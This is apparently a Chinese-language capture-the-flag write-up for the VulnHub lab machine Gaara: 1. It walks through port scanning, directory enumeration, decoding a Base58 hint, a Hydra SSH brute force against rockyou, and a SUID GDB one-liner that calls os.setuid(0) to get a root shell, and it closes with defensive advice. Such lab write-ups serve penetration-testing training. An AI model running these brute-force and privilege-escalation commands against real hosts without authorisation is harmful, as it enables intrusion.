跳到主要内容

VulnHub Gaara: 1 通关记录|Base58 隐藏凭证、SSH 爆破与 SUID GDB 提权

靶机链接:Gaara: 1


0x01 基本信息

名称IP
Kali Linux192.168.1.113
Gaara: 1192.168.1.149

攻击流程

点击展开

攻击链摘要

阶段关键证据 / 操作作用
服务发现22/tcp80/tcp确定 SSH 和 Web 为主攻击面
Web 枚举/Cryoserver/Temari/Kazekage/iamGaara发现信息泄露入口
隐藏字符串/iamGaara 内嵌 f1MgN9mTf9SNbzRygcUBase58 解码得 gaara:ismyname,确认用户名
初始访问Hydra SSH 爆破 gaara:iloveyou2获得 user shell
本地提权SUID /usr/bin/gdb + Python os.setuid(0)获得 root shell
结果获取读取 /home/gaara/flag.txt/root/root.txt获得两枚 flag

0x02 侦察与信息收集 (Reconnaissance)

1. RustScan 联动 Nmap

按惯例先用 RustScan 快速扫描全端口,再交给 Nmap 做版本识别和默认脚本探测:

rustscan -a 192.168.1.149 -- -sC -sV -O -oA ~/pentest/nmap_scan

首轮结果:

Open 192.168.1.149:22
Open 192.168.1.149:53
Open 192.168.1.149:80

Nmap 复核后的服务摘要:

端口状态服务指纹 / 备注
22/tcpopenSSHOpenSSH 7.9p1 Debian 10+deb10u2
53/tcpclosedDNSRustScan 初始误报,Nmap 确认关闭
80/tcpopenHTTPApache httpd 2.4.38 (Debian)

由于 RustScan 仅发现 3 个端口,补充全端口扫描以排除遗漏:

nmap -p- --min-rate 10000 -T4 192.168.1.149

结果确认仅 22/tcp80/tcp 真正开放。同时快速 UDP 扫描未发现可用服务。

2. Web 首页检查

curl -s http://192.168.1.149/

返回一个纯静态 index.html,页面仅包含一张来自 fanpop.com 的 Gaara(《火影忍者》角色)壁纸,标题为 Gaara。初步判断靶机主题围绕该角色展开。

3. Gobuster 目录枚举

使用中等规模字典进行目录爆破:

gobuster dir -u http://192.168.1.149 -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt -x php,html,txt -o ~/pentest/gobuster_medium.txt

关键发现:

index.html (Status: 200) [Size: 288]
server-status (Status: 403) [Size: 278]
Cryoserver (Status: 200) [Size: 327]

/Cryoserver 是唯一非默认路径,为后续信息收集的核心入口。


0x03 漏洞探测与分析 (Vulnerability Analysis)

1. /Cryoserver 目录列举

访问 /Cryoserver

curl -s http://192.168.1.149/Cryoserver

返回内容(仅 327 字节,绝大部分为换行填充):

/Temari
/Kazekage
/iamGaara

这三个路径均以《火影忍者》中砂隐村相关角色命名,暗示靶机以 Gaara 故事线构建。

2. 内容分析与隐藏字符串发现

逐一访问三个路径并对比:

curl -s http://192.168.1.149/Temari > /tmp/temari.txt
curl -s http://192.168.1.149/Kazekage > /tmp/kazekage.txt
curl -s http://192.168.1.149/iamGaara > /tmp/iamgaara.txt

文件对比结果:

文件大小MD5备注
/Temari16077 bytesec58a42e...完整 Wikipedia Gaara 文章
/Kazekage16077 bytesec58a42e...与 Temari 完全相同(字节级一致)
/iamGaara15899 bytes不同缩短版文章,内嵌隐藏字符串

进一步差异比对:

diff /tmp/temari.txt /tmp/iamgaara.txt
grep -oE '[a-zA-Z0-9]{16,}' /tmp/iamgaara.txt

/iamGaara 第 13 行发现嵌入在正文中的异常字符串:

...provoking an enraged Gaara f1MgN9mTf9SNbzRygcU into breaking Lee's arm...

该字符串 f1MgN9mTf9SNbzRygcU 是被刻意插入到正常 Wikipedia 文本中的 token。

3. Base58 解码

尝试多种解码方案(Base64、Base32、Hex、ROT13/47)均未产生可读结果。最终 Base58(Bitcoin 编码)成功解码:

import base58
decoded = base58.b58decode('f1MgN9mTf9SNbzRygcU')
print(decoded) # b'gaara:ismyname'

编码验证:

re_encoded = base58.b58encode(b'gaara:ismyname').decode()
print(re_encoded) # f1MgN9mTf9SNbzRygcU ← 完全匹配

解码结果为 gaara:ismyname,确认:

  • 用户名: gaara
  • 线索: ismyname(暗示密码是口令而非随机字符串)

4. 密码有效性验证

首先尝试解码结果直接登录 SSH:

sshpass -p 'ismyname' ssh gaara@192.168.1.149

结果: Permission deniedismyname 并非直接密码,而是指向弱口令方向的提示。

定向字典构建与 Hydra 爆破:

# 构建 Naruto 主题定向字典
for pass in ismyname gaara Gaara kazekage temari naruto shukaku sand sunagakure love ai; do
echo $pass
done > /tmp/naruto_pass.txt

# 定向爆破
hydra -L /tmp/users.txt -P /tmp/naruto_pass.txt -t 4 -f ssh://192.168.1.149

定向字典未能命中,启动 Rockyou 全量爆破:

hydra -l gaara -P /usr/share/wordlists/rockyou.txt -t 4 -f -o ~/pentest/hydra_ssh.txt ssh://192.168.1.149

数分钟后爆破成功:

[22][ssh] host: 192.168.1.149 login: gaara password: iloveyou2

凭据: gaara : iloveyou2


0x04 核心攻击链:初始访问到 Root

第一阶段:SSH 初始访问 (Initial Foothold)

sshpass -p 'iloveyou2' ssh -o StrictHostKeyChecking=no gaara@192.168.1.149

验证权限:

id
# uid=1001(gaara) gid=1001(gaara) groups=1001(gaara)
hostname
# Gaara
uname -a
# Linux Gaara 4.19.0-13-amd64 #1 SMP Debian 4.19.160-2 (2020-11-28) x86_64 GNU/Linux

第二阶段:User Flag 与本地枚举

User Flag:

cat /home/gaara/flag.txt
# 5451d3eb27acb16c652277d30945ab1e

Kazekage 线索文件:

cat /home/gaara/Kazekage.txt
# You can find Kazekage here....
# L3Vzci9sb2NhbC9nYW1lcw==

echo "L3Vzci9sb2NhbC9nYW1lcw==" | base64 -d
# /usr/local/games

该目录包含文件 .supersecret.txt(Brainfuck 编码的彩蛋,根权限后才可读)。

SUID 枚举:

find / -perm -4000 -type f 2>/dev/null

关键发现:

SUID 二进制权限备注
/usr/bin/gdb-rwsr-sr-x root root异常 SUID,正常系统不应出现
/usr/bin/gimp-2.10-rwsr-sr-x root root同样异常

GTFOBins 中,GDB 的 SUID 提权是经典技术。SUID GDB 的利用原理见知识库:GDB SUID 特权文件读取与命令执行

第三阶段:SUID GDB 提权 (Privilege Escalation)

验证 GDB 的 root 权限上下文:

/usr/bin/gdb -nx -ex "python import os; os.system('whoami')" -ex quit
# root ← 确认 GDB 进程以 root 身份运行

GDB 进程本身以 root 运行,但其默认 shell 调用(!command)会降权。需通过 Python 接口直接调用 os.setuid(0) 获取完整的 root 上下文。

获取 root shell:

/usr/bin/gdb -nx -ex 'python import os; os.setuid(0); os.setgid(0); os.system("/bin/bash -c \"id\"")' -ex quit
# uid=0(root) gid=0(root) groups=0(root),1001(gaara)

确认获得完整 root 权限后,读取 root flag:

/usr/bin/gdb -nx -ex 'python import os; os.setuid(0); os.setgid(0); os.system("/bin/cat /root/root.txt")' -ex quit

彩蛋文件:

cat /usr/local/games/.supersecret.txt

内容为 Brainfuck 编码:

Godaime Kazekage:

+++++ +++[- >++++ ++++< ]>+++ +.<++ ++++[ ->+++ +++<] >+.-- ---.< +++++
[... 约 1200 字符 Brainfuck 代码 ...]

解码结果:

Did you really think you could find something that easily? Try Harder!

作者留下的恶搞彩蛋,暗示 ismyname 只是线索而非真实密码。


0x05 最终成果 (Final Flags)

User Flag

  • 路径: /home/gaara/flag.txt
  • 内容: 5451d3eb27acb16c652277d30945ab1e

Root Flag

  • 路径: /root/root.txt
  • 内容: 8a763d61f71db8e7aa237055de928d86
  • ASCII Art 横幅:
██████╗ █████╗ █████╗ ██████╗ █████╗
██╔════╝ ██╔══██╗██╔══██╗██╔══██╗██╔══██╗
██║ ███╗███████║███████║██████╔╝███████║
██║ ██║██╔══██║██╔══██║██╔══██╗██╔══██║
╚██████╔╝██║ ██║██║ ██║██║ ██║██║ ██║
╚═════╝ ╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝╚═╝ ╚═╝
  • 作者: @0xJin

复盘总结

Gaara 是一台入门级靶机,攻击链简洁清晰,适合练习常规渗透测试的基本流程:

攻击路径回顾

端口扫描 → Web 目录枚举 → 隐藏字符串发现 → Base58 解码 → SSH 弱口令爆破 → SUID GDB 提权 → Root

关键知识点

  1. Base58 编码识别: 与 Base64 不同,Base58 的字符集为 123456789ABCDEFGHJKLMNPQRSTUVWXYZabcdefghijkmnopqrstuvwxyz(排除 0OIl 易混淆字符),常用于 Bitcoin 地址。解码 f1MgN9mTf9SNbzRygcU 得到 gaara:ismyname 是一次典型的 CTF 隐藏凭证手法。

  2. 信息差异比对: 三个 Wikipedia 页面中,两个完全相同(Temari == Kazekage),一个包含隐藏字符串(iamGaara)。在 CTF 中,当发现多个相似页面时,应当用 diffcmp 做字节级对比。

  3. ismyname 的误导与 iloveyou2 的突破: Base58 解码结果为 gaara:ismyname,但实际密码是 iloveyou2。前者提供了用户名和方向提示(弱口令),真正的密码仍需通过字典爆破获得。这提醒我们:信息收集的结果可能是线索而非直接答案

  4. SUID GDB 提权: GDB 是 GTFOBins 中的经典 SUID 提权二进制。如果 /usr/bin/gdb 设置了 SUID 位,利用 Python 接口调用 os.setuid(0) 即可获取 root shell。防守侧应避免将调试工具设置为 SUID。

  5. Rockyou 的实战价值: iloveyou2 是 rockyou.txt 中的真实泄露密码,排在较前位置。对于 CTF 中的低权限用户,Rockyou 字典仍是最有效的第一次爆破尝试。

防守视角

  • Web 服务器不应在公开页面的正文中嵌入凭证线索
  • SSH 应禁用密码登录或强制强密码策略
  • /usr/bin/gdb 绝不应设置 SUID 位;生产环境应移除所有调试工具的 SUID 权限
  • 用户家目录中的 flag 文件应限制为仅 root 可读

如果只看一句话总结,这题的本质就是:

隐藏字符串解码 + SSH 弱口令爆破 + SUID GDB 本地提权